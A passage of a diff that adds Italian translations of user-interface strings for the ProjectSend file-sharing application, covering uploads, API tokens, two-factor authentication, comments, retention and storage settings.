autorizzata.", + "This file exceeds the maximum allowed size of :max MB.": "Questo file supera la dimensione massima consentita di :max MB.", + "This folder is empty.": "Questa cartella è vuota.", + "This installation has no administrator yet. Create the first one to get started.": "Questa installazione non ha ancora un amministratore. Crea il primo per iniziare.", + "This is a built-in role; its scope can't be changed.": "Questo è un ruolo predefinito; il suo ambito non può essere modificato.", + "This is a preview of the :theme email theme.": "Questa è un'anteprima del tema e-mail :theme.", + "This is a sample email — no notification was actually sent.": "Questa è un'e-mail di esempio — nessuna notifica è stata realmente inviata.", + "This is a test email from :site.": "Questa è un'e-mail di prova da :site.", + "This is the last active administrator account.": "Questo è l'ultimo account amministratore attivo.", + "This link cannot match the file's own public URL slug.": "Questo link non può coincidere con lo slug dell'URL pubblico del file stesso.", + "This link doesn't exist or has been revoked.": "Questo link non esiste o è stato revocato.", + "This link has expired.": "Questo link è scaduto.", + "This link has reached its download limit.": "Questo link ha raggiunto il suo limite di download.", + "This password reset link will expire in :count minutes.": "Questo link di reset della password scadrà tra :count minuti.", + "This permanently removes every failed job from the list without retrying any of them. This cannot be undone.": "Questa operazione rimuove definitivamente tutte le operazioni fallite dall'elenco senza riprovarne nessuna. Non può essere annullata.", + "This role is assigned to accounts and cannot be deleted.": "Questo ruolo è assegnato ad alcuni account e non può essere eliminato.", + "This role only sees files and folders belonging to these clients, plus its own uploads.": "Questo ruolo vede solo i file e le cartelle di questi clienti, oltre ai propri caricamenti.", + "This upload would exceed your storage quota of :quota MB.": "Questo caricamento supererebbe la tua quota di spazio di :quota MB.", + "Tip: drag files and folders onto a folder or a breadcrumb to move them.": "Suggerimento: trascina file e cartelle su una cartella o su un percorso di navigazione per spostarli.", + "Title": "Titolo", + "Title (optional)": "Titolo (facoltativo)", + "TLS": "TLS", + "to": "a", + "To": "A", + "Toggle navigation": "Cambia navigazione", + "Too Early": "Troppo presto", + "Too many files selected. Choose a smaller selection and try again.": "Troppi file selezionati. Riduci la selezione e riprova.", + "Too Many Requests": "Troppe richieste", + "Transactional email settings for this installation": "Impostazioni delle e-mail transazionali di questa installazione", + "Transfers — last 30 days": "Trasferimenti — ultimi 30 giorni", + "Translate": "Traduci", + "Translate It": "Traducilo", + "Turns all transactional email for this installation on or off.": "Attiva o disattiva tutte le e-mail transazionali di questa installazione.", + "Two-factor auth": "Autenticazione 2FA", + "Two-factor authentication": "Autenticazione a due fattori", + "Two-factor authentication is enabled.": "L'autenticazione a due fattori è attiva.", + "Two-factor authentication was disabled": "L'autenticazione a due fattori è stata disattivata", + "Two-factor authentication was enabled": "L'autenticazione a due fattori è stata attivata", + "Two-factor recovery codes were regenerated": "I codici di recupero a due fattori sono stati rigenerati", + "Type": "Tipo", + "Unauthorized": "Non autorizzato", + "Unavailable For Legal Reasons": "Non disponibile per motivi legali", + "Unchanged": "Invariato", + "Unknown Error": "Errore sconosciuto", + "Unlimited": "Illimitato", + "Unpack": "Decomprimi", + "Unprocessable Entity": "Entità improcessabile", + "Unsubscribe": "Annulla l'iscrizione", + "Unsupported Media Type": "Media Type non supportato", + "Up": "Su", + "Up to :max MB per file. Uploads can be paused and resume automatically after interruptions.": "Fino a :max MB per file. I caricamenti possono essere messi in pausa e riprendono automaticamente dopo un'interruzione.", + "Update": "Aggiorna", + "Update :name": "Aggiorna :name", + "Updated the account \":subject\"": "Ha aggiornato l'account \":subject\"", + "Updated the file \":subject\"": "Ha aggiornato il file \":subject\"", + "Updated the group \":subject\"": "Ha aggiornato il gruppo \":subject\"", + "Updated the role \":subject\"": "Ha aggiornato il ruolo \":subject\"", + "Updated the system settings (:section)": "Ha aggiornato le impostazioni di sistema (:section)", + "Updated their profile information": "Ha aggiornato le informazioni del proprio profilo", + "Upgrade Required": "Aggiornamento richiesto", + "Upload": "Carica", + "Upload a file": "Carica un file", + "Upload files": "Caricare file", + "Upload public files": "Caricare file pubblici", + "Upload settings": "Impostazioni di caricamento", + "Upload to public folders": "Caricare in cartelle pubbliche", + "Uploaded by": "Caricato da", + "Uploaded the file \":subject\"": "Ha caricato il file \":subject\"", + "Uploader": "Autore del caricamento", + "Uploads": "Caricamenti", + "Uploads (chart)": "Caricamenti (grafico)", + "URI Too Long": "URI troppo lungo", + "URL slug": "Slug dell'URL", + "Use a custom link instead of a random one": "Usa un link personalizzato al posto di uno casuale", + "Use a recovery code": "Usa un codice di recupero", + "Use an authentication code": "Usa un codice di autenticazione", + "Use Proxy": "Usa un proxy", + "Use the navigation to get started.": "Usa la navigazione per iniziare.", + "Used": "Utilizzato", + "Used in the public file URL when this file is public.": "Usato nell'URL pubblico del file quando questo file è pubblico.", + "Used in the public group URL when this group is public.": "Usato nell'URL pubblico del gruppo quando questo gruppo è pubblico.", + "User": "Utente", + "User created.": "Utente creato.", + "User deleted.": "Utente eliminato.", + "User updated.": "Utente aggiornato.", + "Users": "Utenti", + "Username": "Nome utente", + "Variant Also Negotiates": "Variante anche negozia", + "Verify Email Address": "Verifica indirizzo email", + "Version": "Versione", + "Version :version": "Versione :version", + "View": "Visualizza", + "View :name": "Visualizza :name", + "View all": "Mostra tutto", + "View dashboard counters": "Vedere i contatori del pannello", + "View file": "Vedi il file", + "View news": "Vedere le novità", + "View statistics": "Vedere le statistiche", + "View system information": "Vedere le informazioni di sistema", + "Visible widgets": "Widget visibili", + "View the activity log": "Vedere il registro attività", + "View your files": "Vedere i propri file", + "Visibility": "Visibilità", + "Visitors": "Visitatori", + "Warning": "Avviso", + "Web Server is Down": "Web server spento", + "Website": "Sito web", + "Welcome": "Benvenuto", + "Welcome to ProjectSend": "Benvenuto su ProjectSend", + "What each kind of account is allowed to do": "Cosa è consentito fare a ciascun tipo di account", + "When an account is erased, its files and folders": "Quando un account viene cancellato, i suoi file e le sue cartelle", + "When enabled, you will be asked for a secure code from your phone when logging in.": "Se attiva, al momento dell'accesso ti verrà chiesto un codice sicuro dal tuo telefono.", + "When off, self-registered clients wait in the account requests queue until approved.": "Se disattivata, i clienti registrati autonomamente restano in attesa di approvazione nella coda delle richieste di account.", + "Where outgoing email is actually sent from.": "L'indirizzo da cui vengono realmente inviate le e-mail in uscita.", + "Whoops!": "Ops!", + "Widgets": "Widget", + "Worth including when you report a problem.": "Utile da includere quando segnali un problema.", + "Written by": "Scritto da", + "Yellow": "Giallo", + "Yes": "Sì", + "You are commenting too quickly. Try again in a moment.": "Stai commentando troppo in fretta. Riprova tra un momento.", + "You are commenting too quickly. Try again in :seconds seconds.": "Stai commentando troppo in fretta. Riprova tra :seconds secondi.", + "You are not a member of any group yet.": "Non fai ancora parte di alcun gruppo.", + "You are receiving this email because we received a password reset request for your account.": "Hai ricevuto questa email perché abbiamo ricevuto una richiesta di reset della password per il tuo account.", + "You can only share with the clients assigned to you.": "Puoi condividere solo con i clienti che ti sono stati assegnati.", + "You cannot comment on this file.": "Non puoi commentare questo file.", + "You cannot deactivate your own account.": "Non puoi disattivare il tuo stesso account.", + "You cannot delete your own account.": "Non puoi eliminare il tuo stesso account.", + "You have no notifications yet.": "Non hai ancora notifiche.", + "You will no longer receive files shared with the group \":name\".": "Non riceverai più i file condivisi con il gruppo \":name\".", + "Your account details were recently changed by an administrator. Contact your administrator if this was not expected.": "I dati del tuo account sono stati modificati di recente da un amministratore. Contatta il tuo amministratore se non te lo aspettavi.", + "Your account has been approved": "Il tuo account è stato approvato", + "Your account has been created. You can log in now.": "Il tuo account è stato creato. Puoi accedere subito.", + "Your account has been deactivated.": "Il tuo account è stato disattivato.", + "Your account is deactivated immediately. After :days days it is permanently erased, including your identifying details in the activity log — this cannot be undone.": "Il tuo account viene disattivato immediatamente. Dopo :days giorni viene cancellato definitivamente, compresi i dati che ti identificano nel registro attività — l'operazione non è reversibile.", + "Your account request has been approved. You can now log in.": "La tua richiesta di account è stata approvata. Ora puoi accedere.", + "Your account request has been denied.": "La tua richiesta di account è stata rifiutata.", + "Your account request has been received. You will be able to log in once it is approved.": "La tua richiesta di account è stata ricevuta. Potrai accedere non appena verrà approvata.", + "Your account request has not been approved yet.": "La tua richiesta di account non è ancora stata approvata.", + "Your account request was denied": "La tua richiesta di account è stata rifiutata", + "Your account was updated": "Il tuo account è stato aggiornato", + "Your account will be deactivated now and permanently erased after :days days. Enter your password to confirm.": "Il tuo account verrà disattivato ora e cancellato definitivamente dopo :days giorni. Inserisci la tua password per confermare.", + "Your account will no longer require a second code at login, making it less secure.": "Il tuo account non richiederà più un secondo codice all'accesso, risultando così meno sicuro.", + "Your administrator requires two-factor authentication on this account. Set it up below to continue.": "Il tuo amministratore richiede l'autenticazione a due fattori su questo account. Configurala qui sotto per continuare.", + "Your customized subject and body will be discarded and replaced with the default wording immediately — this cannot be undone.": "L'oggetto e il corpo personalizzati verranno subito scartati e sostituiti con il testo predefinito — l'operazione non è reversibile.", + "Your download should start automatically.": "Il download dovrebbe iniziare automaticamente.", + "Your existing recovery codes will stop working immediately.": "I tuoi codici di recupero attuali smetteranno di funzionare immediatamente.", + "Your group membership request was approved": "La tua richiesta di adesione al gruppo è stata approvata", + "Your group membership request was denied": "La tua richiesta di adesione al gruppo è stata rifiutata", + "Your groups": "I tuoi gruppi", + "Your previous request to this group was declined. You can request again later.": "La tua precedente richiesta a questo gruppo è stata rifiutata. Potrai richiederlo di nuovo più avanti.", + "Your request to join the group \":group\" has been approved.": "La tua richiesta di entrare nel gruppo \":group\" è stata approvata.", + "Your request to join the group \":group\" has been denied.": "La tua richiesta di entrare nel gruppo \":group\" è stata rifiutata.", + "Your request to join the group \":groupName\" has been approved": "La tua richiesta di entrare nel gruppo \":groupName\" è stata approvata", + "Your shared file library": "La tua libreria di file condivisi", + "API tokens": "Token API", + "Tokens let an external tool act on your behalf through the API, with only the permissions you grant it here.": "I token permettono a uno strumento esterno di agire per tuo conto tramite l'API, con le sole autorizzazioni che gli concedi qui.", + "Token name": "Nome del token", + "e.g. Zapier": "ad es. Zapier", + "Name it after the tool that will use it, so you know what you are revoking later.": "Chiamalo come lo strumento che lo userà, così saprai che cosa stai revocando in futuro.", + "A token can never do more than you can. Grant only what the tool needs — if your own permissions change, the token follows.": "Un token non può mai fare più di te. Concedi solo ciò che serve allo strumento — se le tue autorizzazioni cambiano, il token le segue.", + "Only permissions the API can currently act on are listed. More appear here as new endpoints are released.": "Sono elencate solo le autorizzazioni su cui l'API può agire oggi. Altre compariranno qui man mano che verranno rilasciati nuovi endpoint.", + "There is nothing you can grant a token yet — none of the API endpoints released so far match your permissions.": "Non puoi ancora concedere nulla a un token — nessuno degli endpoint API finora rilasciati corrisponde alle tue autorizzazioni.", + "Select all": "Seleziona tutto", + "Clear all": "Deseleziona tutto", + "Expires in (days)": "Scade tra (giorni)", + "A token that never expires stays valid until someone revokes it by hand. Prefer a date you can forget about safely.": "Un token senza scadenza resta valido finché qualcuno non lo revoca a mano. Meglio una data che puoi dimenticare senza rischi.", + "Create token": "Crea token", + "Copy your token now": "Copia subito il tuo token", + "This is the only time it will be shown. We store only a hash, so it cannot be recovered later.": "Questa è l'unica volta in cui verrà mostrato. Ne conserviamo solo un hash, quindi non potrà essere recuperato in seguito.", + "Copy to clipboard": "Copia negli appunti", + "Copied": "Copiato", + "Your tokens": "I tuoi token", + "Revoking a token takes effect immediately.": "La revoca di un token ha effetto immediato.", + "You have not created any tokens yet.": "Non hai ancora creato alcun token.", + "Expired": "Scaduto", + "Never used": "Mai usato", + "Last used :date": "Ultimo utilizzo il :date", + "Revoke this token?": "Revocare questo token?", + "Any tool using it will stop working immediately. This cannot be undone.": "Qualsiasi strumento che lo usa smetterà di funzionare immediatamente. L'operazione non è reversibile.", + "This file type is not allowed for upload.": "Questo tipo di file non è consentito per il caricamento.", + "View the client list": "Vedere l'elenco dei clienti", + "View the group list": "Vedere l'elenco dei gruppi", + "Origin": "Origine", + "All origins": "Tutte le origini", + "Web UI": "Interfaccia web", + "API": "API", + ":origin · :token": ":origin · :token", + "Edit token": "Modifica token", + "Save token": "Salva token", + "The token is shown once, immediately after it is created, and never again.": "Il token viene mostrato una sola volta, subito dopo la creazione, e mai più.", + "The token itself does not change. Anything already using it keeps working with whatever you set here.": "Il token stesso non cambia. Tutto ciò che già lo usa continua a funzionare con quanto imposti qui.", + "Changing permissions takes effect immediately": "Le modifiche alle autorizzazioni hanno effetto immediato", + "The existing token keeps its value, so whatever holds it gains or loses these permissions right away. Revoke and create a new one instead if you want a fresh secret.": "Il token esistente mantiene il suo valore, perciò chi lo possiede acquisisce o perde queste autorizzazioni all'istante. Revocalo e creane uno nuovo se desideri un segreto inedito.", + "Some permissions no longer apply": "Alcune autorizzazioni non sono più valide", + "This token still carries permissions that do nothing today, and saving will drop them: :abilities": "Questo token porta ancora autorizzazioni oggi prive di effetto; salvando verranno rimosse: :abilities", + "Token updated.": "Token aggiornato.", + "How external tools can act on this installation on your behalf.": "Come gli strumenti esterni possono agire su questa installazione per tuo conto.", + "OpenAPI specification": "Specifica OpenAPI", + "Endpoints": "Endpoint", + "Method": "Metodo", + "Tokens": "Token", + "Your tokens and what they have been doing.": "I tuoi token e cosa hanno fatto.", + "Every token on this installation and what it has been doing.": "Ogni token di questa installazione e cosa ha fatto.", + "Show all tokens": "Mostra tutti i token", + "Show only mine": "Mostra solo i miei", + "Manage tokens": "Gestisci i token", + "Requests (7 days)": "Richieste (7 giorni)", + "Failed (7 days)": "Fallite (7 giorni)", + "Median response": "Tempo di risposta mediano", + "No requests yet": "Ancora nessuna richiesta", + ":count expired": ":count scaduti", + "Requests": "Richieste", + "Succeeded": "Riuscite", + "Failed": "Fallite", + "Request history is kept for :days days.": "Lo storico delle richieste viene conservato per :days giorni.", + "Request history is kept indefinitely.": "Lo storico delle richieste viene conservato a tempo indeterminato.", + "No tokens yet.": "Ancora nessun token.", + "Owner": "Proprietario", + "Last used": "Ultimo utilizzo", + "History": "Cronologia", + "Busiest endpoints": "Endpoint più sollecitati", + "No requests in the last 7 days.": "Nessuna richiesta negli ultimi 7 giorni.", + "Recent changes made through the API": "Modifiche recenti effettuate tramite l'API", + "Full history": "Cronologia completa", + "Nothing has been changed through the API yet.": "Non è ancora stato modificato nulla tramite l'API.", + "API usage": "Utilizzo dell'API", + "Open the API dashboard": "Apri il pannello dell'API", + "You have no API tokens. Create one to let an external tool act on your behalf.": "Non hai token API. Creane uno per permettere a uno strumento esterno di agire per tuo conto.", + "API request history (days)": "Storico delle richieste API (giorni)", + "How long the API dashboard keeps a record of each request. This is usage history, not the activity log — the activity log is an audit trail and is never pruned. Set to 0 to keep it indefinitely.": "Per quanto tempo il pannello dell'API conserva traccia di ogni richiesta. Si tratta dello storico di utilizzo, non del registro attività — quest'ultimo è una traccia di controllo e non viene mai ripulito. Imposta 0 per conservarlo a tempo indeterminato.", + "A category was created": "Una categoria è stata creata", + "A category was deleted": "Una categoria è stata eliminata", + "A category was renamed": "Una categoria è stata rinominata", + "A comment was approved": "Un commento è stato approvato", + "A comment was deleted": "Un commento è stato eliminato", + "A comment was edited": "Un commento è stato modificato", + "A comment was posted on a file": "È stato pubblicato un commento su un file", + "A custom asset was created": "Una risorsa personalizzata è stata creata", + "A custom asset was deleted": "Una risorsa personalizzata è stata eliminata", + "A custom asset was disabled": "Una risorsa personalizzata è stata disattivata", + "A custom asset was enabled": "Una risorsa personalizzata è stata attivata", + "A custom asset was updated": "Una risorsa personalizzata è stata aggiornata", + "A custom field was created": "Un campo personalizzato è stato creato", + "A custom field was deleted": "Un campo personalizzato è stato eliminato", + "A custom field was updated": "Un campo personalizzato è stato aggiornato", + "A deleted account's files and folders were deleted": "I file e le cartelle di un account eliminato sono stati eliminati", + "A deleted account's files and folders were reassigned": "I file e le cartelle di un account eliminato sono stati riassegnati", + "A file was made private": "Un file è stato reso privato", + "A file was made public": "Un file è stato reso pubblico", + "A file was previewed": "Un file è stato visualizzato in anteprima", + "A folder was made private": "Una cartella è stata resa privata", + "A folder was made public": "Una cartella è stata resa pubblica", + "A group was made private": "Un gruppo è stato reso privato", + "A group was made public": "Un gruppo è stato reso pubblico", + "An API token was created": "Un token API è stato creato", + "An API token was revoked": "Un token API è stato revocato", + "An API token was updated": "Un token API è stato aggiornato", + "An expired file was automatically deleted after its retention grace period passed": "Un file scaduto è stato eliminato automaticamente al termine del periodo di tolleranza", + "An orphan file was automatically deleted after its retention grace period passed": "Un file orfano è stato eliminato automaticamente al termine del periodo di tolleranza", + "An upload was cancelled": "Un caricamento è stato annullato", + "Approved a comment on the file \":subject\"": "Ha approvato un commento sul file \":subject\"", + "Cancelled uploading the file \":name\"": "Ha annullato il caricamento del file \":name\"", + "Commented on the file \":subject\"": "Ha commentato il file \":subject\"", + "Created the API token \":token_name\"": "Ha creato il token API \":token_name\"", + "Created the category \":subject\"": "Ha creato la categoria \":subject\"", + "Created the custom asset \":subject\"": "Ha creato la risorsa personalizzata \":subject\"", + "Created the custom field \":name\"": "Ha creato il campo personalizzato \":name\"", + "Deleted :files file(s) and :folders folder(s) belonging to the deleted account \":name\"": "Ha eliminato :files file e :folders cartelle appartenenti all'account eliminato \":name\"", + "Deleted a comment on the file \":subject\"": "Ha eliminato un commento sul file \":subject\"", + "Deleted the category \":name\"": "Ha eliminato la categoria \":name\"", + "Deleted the custom asset \":name\"": "Ha eliminato la risorsa personalizzata \":name\"", + "Deleted the custom field \":name\"": "Ha eliminato il campo personalizzato \":name\"", + "Deleted the expired file \":name\"": "Ha eliminato il file scaduto \":name\"", + "Disabled the custom asset \":subject\"": "Ha disattivato la risorsa personalizzata \":subject\"", + "Edited a comment on the file \":subject\"": "Ha modificato un commento sul file \":subject\"", + "Enabled the custom asset \":subject\"": "Ha attivato la risorsa personalizzata \":subject\"", + "Made the file \":subject\" private": "Ha reso privato il file \":subject\"", + "Made the file \":subject\" public": "Ha reso pubblico il file \":subject\"", + "Made the folder \":subject\" private": "Ha reso privata la cartella \":subject\"", + "Made the folder \":subject\" public": "Ha reso pubblica la cartella \":subject\"", + "Made the group \":subject\" private": "Ha reso privato il gruppo \":subject\"", + "Made the group \":subject\" public": "Ha reso pubblico il gruppo \":subject\"", + "Previewed the file \":subject\"": "Ha visualizzato in anteprima il file \":subject\"", + "Reassigned :files file(s) and :folders folder(s) from the deleted account \":name\" to :target": "Ha riassegnato :files file e :folders cartelle dall'account eliminato \":name\" a :target", + "Renamed the category to \":subject\"": "Ha rinominato la categoria in \":subject\"", + "Revoked the API token \":token_name\"": "Ha revocato il token API \":token_name\"", + "Updated the API token \":token_name\"": "Ha aggiornato il token API \":token_name\"", + "Updated the custom asset \":subject\"": "Ha aggiornato la risorsa personalizzata \":subject\"", + "Updated the custom field \":name\"": "Ha aggiornato il campo personalizzato \":name\"", + "Manage client custom fields": "Gestire i campi personalizzati dei clienti", + "Moderate comments": "Moderare i commenti", + "Only me": "Solo io", + "Visible to anyone who can open this file, including visitors who are not logged in.": "Visibile a chiunque possa aprire questo file, compresi i visitatori non connessi.", + "Anyone, including visitors who are not logged in": "Chiunque, compresi i visitatori non connessi", + "Staff and clients": "Staff e clienti", + "Staff only": "Solo staff", + "No files — commenting is off": "Nessun file — i commenti sono disattivati", + "Only files marked as commentable": "Solo i file aperti ai commenti", + "Public files only": "Solo file pubblici", + "Shared files only": "Solo file condivisi", + "(blank = inheriting the site default)": "(vuoto = eredita il valore predefinito del sito)", + "(blank = unlimited, no site default is set)": "(vuoto = illimitato, non è impostato alcun valore predefinito per il sito)", + "(deleted file)": "(file eliminato)", + ":authorName commented on \":fileName\"": ":authorName ha commentato \":fileName\"", + ":authorName commented on \":fileName\" and is waiting for approval": ":authorName ha commentato \":fileName\" ed è in attesa di approvazione", + ":count comments": ":count commenti", + ":count file updated.|:count files updated.": ":count file aggiornato.|:count file aggiornati.", + ":count waiting for approval": ":count in attesa di approvazione", + ":guest commented on the file \":subject\"": ":guest ha commentato il file \":subject\"", + ":name — files": ":name — file", + ":updated of :requested selected files were updated. The rest were skipped because you don't have permission to edit them.": ":updated file sui :requested selezionati sono stati aggiornati. Gli altri sono stati saltati perché non hai l'autorizzazione per modificarli.", + "A bold header built around your logo — pairs with the Gallery look for a polished, on-brand inbox.": "Un'intestazione decisa costruita attorno al tuo logo — si abbina allo stile Gallery per una casella di posta curata e coerente con il tuo marchio.", + "Access": "Accesso", + "Access key": "Chiave di accesso", + "Accounts covered by this setting may only upload files whose extension is on the allowed list below.": "Gli account soggetti a questa impostazione possono caricare solo file la cui estensione compare nell'elenco consentito qui sotto.", + "A clean, neutral layout that works well for any kind of file sharing.": "Un layout pulito e neutro, adatto a qualsiasi tipo di condivisione di file.", + "A comment from someone who is not logged in stays hidden until a moderator approves it.": "Il commento di una persona non connessa resta nascosto finché un moderatore non lo approva.", + "A comment is waiting for approval": "Un commento è in attesa di approvazione", + "Activity history for :name": "Cronologia delle attività di :name", + "A daily task permanently deletes files past their expiration date and grace period below.": "Un'operazione quotidiana elimina definitivamente i file che hanno superato la data di scadenza e il periodo di tolleranza indicato sotto.", + "A daily task permanently deletes local orphan files older than the grace period below.": "Un'operazione quotidiana elimina definitivamente i file orfani locali più vecchi del periodo di tolleranza indicato sotto.", + "Add categories": "Aggiungere categorie", + "Adds an \"Everyone\" option when commenting on a file that is publicly visible. Without this, comments only ever reach people who are logged in.": "Aggiunge un'opzione \"Tutti\" quando si commenta un file visibile pubblicamente. Senza di essa i commenti raggiungono soltanto le persone connesse.", + "A dense, spreadsheet-style list that fits more files on screen — best for large collections and frequent uploaders.": "Un elenco fitto in stile foglio di calcolo che mostra più file sullo schermo — ideale per grandi raccolte e caricamenti frequenti.", + "A full-width photo grid built for visual browsing — the best choice for photographers and image-heavy collections.": "Una griglia di foto a tutta larghezza pensata per la navigazione visiva — la scelta migliore per fotografi e raccolte ricche di immagini.", + "Allow clients to add files to this folder from their portal.": "Consenti ai clienti di aggiungere file a questa cartella dal loro portale.", + "Allow comments on this file": "Consenti i commenti su questo file", + "Allowed file extensions": "Estensioni di file consentite", + "Allow public comments": "Consenti i commenti pubblici", + "and :count more": "e altri :count", + "Anonymous": "Anonimo", + "Anonymous downloads": "Download anonimi", + "Applied to any client without their own custom quota, including self-registered ones. Set to 0 for no default (unlimited unless a client has their own limit).": "Si applica a ogni cliente privo di una quota personalizzata, compresi quelli registrati autonomamente. Imposta 0 per non definire alcun valore predefinito (illimitato, salvo che un cliente abbia un proprio limite).", + "A public group's page is always reachable by its own link once you mark it public — this page only controls the base URL and an optional directory listing every public group and file at once.": "La pagina di un gruppo pubblico è sempre raggiungibile dal suo link non appena lo contrassegni come pubblico — questa pagina controlla solo l'URL di base e un elenco facoltativo che mostra in una volta tutti i gruppi e i file pubblici.", + "A reset link will be sent if the account exists.": "Se l'account esiste, verrà inviato un link di reimpostazione.", + "A spacious, colorful layout inspired by cloud storage apps, with clear file-type icons and generous spacing.": "Un layout ampio e colorato ispirato alle app di archiviazione in cloud, con icone chiare per i tipi di file e spaziature generose.", + "A stripped-down, understated design with no extra styling — pairs with the Compact look.": "Un design essenziale e discreto, privo di fronzoli — si abbina allo stile Compact.", + "Auto approve new accounts": "Approva automaticamente i nuovi account", + "Automatically delete expired files": "Elimina automaticamente i file scaduti", + "Automatically delete orphan files": "Elimina automaticamente i file orfani", + "A visitor commented on a file": "Un visitatore ha commentato un file", + "Awaiting approval": "In attesa di approvazione", + "Back": "Indietro", + "Be careful when changing this list — it can affect the security of this installation.": "Modifica questo elenco con prudenza — può incidere sulla sicurezza di questa installazione.", + "Blank = inherit the site default (currently :default MB). Set a value to give this client their own limit.": "Vuoto = eredita il valore predefinito del sito (attualmente :default MB). Inserisci un valore per assegnare a questo cliente un limite proprio.", + "Blank = unlimited (no site default is set). Set a value to give this client their own limit.": "Vuoto = illimitato (non è impostato alcun valore predefinito per il sito). Inserisci un valore per assegnare a questo cliente un limite proprio.", + "Blue accents and clean structure inspired by cloud storage apps — pairs with the Drive look.": "Accenti blu e struttura pulita ispirati alle app di archiviazione in cloud — si abbina allo stile Drive.", + "Branding": "Identità visiva", + "Bucket": "Bucket", + "Bulk edit :count files": "Modifica in blocco :count file", + "by": "di", + "Change at least one field before applying a bulk edit.": "Modifica almeno un campo prima di applicare una modifica in blocco.", + "Check for updates": "Controlla gli aggiornamenti", + "Client access": "Accesso dei clienti", + "Client downloads": "Download dei clienti", + "Clients can register themselves": "I clienti possono registrarsi da soli", + "Clients only": "Solo clienti", + "Comment approved.": "Commento approvato.", + "Comment deleted.": "Commento eliminato.", + "Comments": "Commenti", + "Comments are closed on this file.": "I commenti su questo file sono chiusi.", + "Comments already written stay readable even if a file stops accepting new ones.": "I commenti già scritti restano leggibili anche se un file smette di accettarne di nuovi.", + "Comments awaiting approval": "Commenti in attesa di approvazione", + "Comment settings": "Impostazioni dei commenti", + "Comments left by visitors who are not logged in. Nobody can see them until you approve them.": "Commenti lasciati da visitatori non connessi. Nessuno può vederli finché non li approvi.", + "Connect an external S3-compatible bucket (AWS S3, MinIO, or another S3-compatible service) as the storage backend for new uploads.": "Collega un bucket esterno compatibile con S3 (AWS S3, MinIO o un altro servizio compatibile) come spazio di archiviazione per i nuovi caricamenti.", + "Custom endpoint": "Endpoint personalizzato", + "Custom field created.": "Campo personalizzato creato.", + "Custom field deleted.": "Campo personalizzato eliminato.", + "Custom field updated.": "Campo personalizzato aggiornato.", + "Custom range": "Intervallo personalizzato", + "Default storage quota (MB)": "Quota di spazio predefinita (MB)", + "Delete account?": "Eliminare l'account?", + "Delete failed job?": "Eliminare l'operazione fallita?", + "Delete them permanently": "Eliminarli definitivamente", + "Delete this comment?": "Eliminare questo commento?", + "Delete this many days after being found": "Elimina dopo questo numero di giorni dal ritrovamento", + "Delete this many days after expiry": "Elimina dopo questo numero di giorni dalla scadenza", + "Download :name": "Scarica :name", + "Downloaded by": "Scaricato da", + "Download history": "Cronologia dei download", + "Download history for :name": "Cronologia dei download di :name", + "Duration": "Durata", + "Each file has a \"Allow comments\" switch on its edit page. Only files with it turned on accept comments.": "Ogni file dispone dell'interruttore \"Consenti i commenti su questo file\" nella sua pagina di modifica. Solo i file con l'interruttore attivo accettano commenti.", + "edited": "modificato", + "Editing window (minutes)": "Finestra di modifica (minuti)", + "Email settings saved.": "Impostazioni e-mail salvate.", + "Error": "Errore", + "Every download, newest first": "Ogni download, dal più recente", + "Every download across the installation, newest first": "Ogni download dell'intera installazione, dal più recente", + "Every recorded action, newest first": "Ogni azione registrata, dalla più recente", + "Expiration": "Scadenza", + "Expired :date": "Scaduto il :date", + "Expired only": "Solo scaduti", + "Extension, e.g. pdf": "Estensione, ad es. pdf", + "Failed at": "Fallita il", + "Failed job deleted.": "Operazione fallita eliminata.", + "Failed jobs": "Operazioni fallite", + "Failed to connect: :error": "Connessione non riuscita: :error", + "File retention": "Conservazione dei file", + "File retention settings": "Impostazioni di conservazione dei file", + "Files accessible to :name": "File accessibili a :name", + "Files sitting on disk with no matching record — an interrupted upload, a restore, manual filesystem access": "File presenti sul disco senza un record corrispondente — un caricamento interrotto, un ripristino, un intervento manuale sul filesystem", + "Files that accept comments": "File che accettano commenti", + "Filters": "Filtri", + "Folder renamed.": "Cartella rinominata.", + "Folders": "Cartelle", + "Grid view": "Vista a griglia", + "Hold comments from visitors for approval": "Trattieni i commenti dei visitatori per l'approvazione", + "How long after posting someone can still edit or delete their own comment. Set to 0 to never allow it.": "Per quanto tempo dopo la pubblicazione si può ancora modificare o eliminare il proprio commento. Imposta 0 per non consentirlo mai.", + "How long an expired file is kept before it is permanently deleted. 0 deletes it the same day it expires.": "Per quanto tempo viene conservato un file scaduto prima dell'eliminazione definitiva. 0 lo elimina il giorno stesso della scadenza.", + "How long an orphan file is kept before it is permanently deleted. 0 deletes it the same day it is first found.": "Per quanto tempo viene conservato un file orfano prima dell'eliminazione definitiva. 0 lo elimina il giorno stesso in cui viene trovato.", + "IP address": "Indirizzo IP", + "Job queued for retry.": "Operazione rimessa in coda per un nuovo tentativo.", + "Language: :language": "Lingua: :language", + "Last month": "Il mese scorso", + "Last ran": "Ultima esecuzione", + "Last week": "La settimana scorsa", + "Leave blank for AWS S3. Set this to use an S3-compatible service such as MinIO or Backblaze.": "Lascia vuoto per AWS S3. Compila questo campo per usare un servizio compatibile con S3 come MinIO o Backblaze.", + "Leave empty for a file that never expires.": "Lascia vuoto per un file che non scade mai.", + "Limit file types uploading to": "Limita i tipi di file in caricamento per", + "List view": "Vista a elenco", + "Make this folder public. Every file inside it — now and later, at any depth — becomes public too.": "Rendi pubblica questa cartella. Ogni file al suo interno — ora e in futuro, a qualsiasi livello — diventa pubblico a sua volta.", + "Message": "Messaggio", + "Moving": "Spostamento in corso", + "Never run": "Mai eseguita", + "Next cleanup :date": "Prossima pulizia il :date", + "No accounts match \":search\".": "Nessun account corrisponde a \":search\".", + "Nobody (no restriction)": "Nessuno (nessuna restrizione)", + "No comments yet.": "Ancora nessun commento.", + "No expired files.": "Nessun file scaduto.", + "No extensions added yet.": "Ancora nessuna estensione aggiunta.", + "No failed jobs.": "Nessuna operazione fallita.", + "No files match these filters.": "Nessun file corrisponde a questi filtri.", + "None of the selected files could be edited.": "Nessuno dei file selezionati ha potuto essere modificato.", + "Nothing is waiting for approval.": "Non c'è nulla in attesa di approvazione.", + "of :count": "di :count", + "of :quota": "di :quota", + "on": "il", + "Only the fields you change here are applied — everything else is left as-is.": "Vengono applicati solo i campi che modifichi qui — tutto il resto resta invariato.", + "Only uploads made after this backend is activated are affected. Files already stored locally stay there and keep working — there is no migration between backends.": "Sono interessati solo i caricamenti effettuati dopo l'attivazione di questo spazio di archiviazione. I file già memorizzati localmente restano dove sono e continuano a funzionare — non esiste alcuna migrazione tra spazi di archiviazione.", + "Open public page": "Apri la pagina pubblica", + "Optional. Confines uploads to a subfolder within the bucket.": "Facoltativo. Limita i caricamenti a una sottocartella all'interno del bucket.", 